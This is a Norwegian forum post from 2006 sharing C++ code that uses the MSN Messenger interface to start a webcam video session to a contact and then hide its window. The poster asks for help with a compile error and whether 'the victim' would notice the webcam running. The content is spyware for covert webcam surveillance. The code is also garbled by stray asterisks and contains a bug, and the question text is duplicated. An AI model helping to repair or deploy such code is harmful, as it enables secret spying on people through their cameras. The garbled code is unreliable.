Jeg har kopiert denne koden inn:
Eneste forandring jeg har gjort gi cName en value med en gang den blir laget (trodde dette var eneste måte).
Også har jeg quotet alle *****'ene. (Hva gjør de i koden?)
Eneste feil jeg har nå er denne linjen:
vName.bstrVal *= (BSTR)pbstrName;
som gir meg denne erroren:
invalid operands of types `OLECHAR*' and `OLECHAR*' to binary `operator*' in evaluation of `operator*=(OLECHAR*, OLECHAR*)'
Også har jeg et spørsmål til skaperen: (eller andre som har testet)
Hva skjer om offeret går inn i kontaktlisten og åpner vinduet på nytt? (Vil han/hun se at webcam'et kjører da?)
Kode
#include "windows.h" #include "msgruaid.h" #include "msgrua.h" #include "oleauto.h" int main(int argc, char *argv[]) { IMessenger2 *pIMessenger = NULL; IMessengerWindow *pIWindow = NULL; IDispatch *pIDispatch = NULL; VARIANT vName; char *cName; long lWindow; CoInitialize(0); CoCreateInstance(CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMessenger, (void **)&pIMessenger); * cName = "din e-mail"; BSTR pbstrName= SysAllocStringLen(NULL, lstrlenA(cName)); MultiByteToWideChar(CP_ACP, 0, cName, lstrlenA(cName), pbstrName, lstrlenA(cName)); SysFreeString(pbstrName); * * vName.vt = VT_BSTR; vName.bstrVal *= (BSTR)pbstrName; * * pIMessenger->StartVideo(vName, &pIDispatch); pIDispatch->QueryInterface(IID_IMessengerWindow, (void**)&pIWindow); pIDispatch->Release(); // Get handle of window pIWindow->get_HWND(&lWindow); pIWindow->Release(); * * * * * // Hide the window ShowWindow((HWND)lWindow, SW_HIDE); pIMessenger->Release(); CoUninitialize(); ExitProcess(0); return 0; }
Også har jeg quotet alle *****'ene. (Hva gjør de i koden?)
Eneste feil jeg har nå er denne linjen:
vName.bstrVal *= (BSTR)pbstrName;
som gir meg denne erroren:
invalid operands of types `OLECHAR*' and `OLECHAR*' to binary `operator*' in evaluation of `operator*=(OLECHAR*, OLECHAR*)'
Også har jeg et spørsmål til skaperen: (eller andre som har testet)
Hva skjer om offeret går inn i kontaktlisten og åpner vinduet på nytt? (Vil han/hun se at webcam'et kjører da?)
Sist endret av TanteSpiker; 13. juli 2006 kl. 00:55.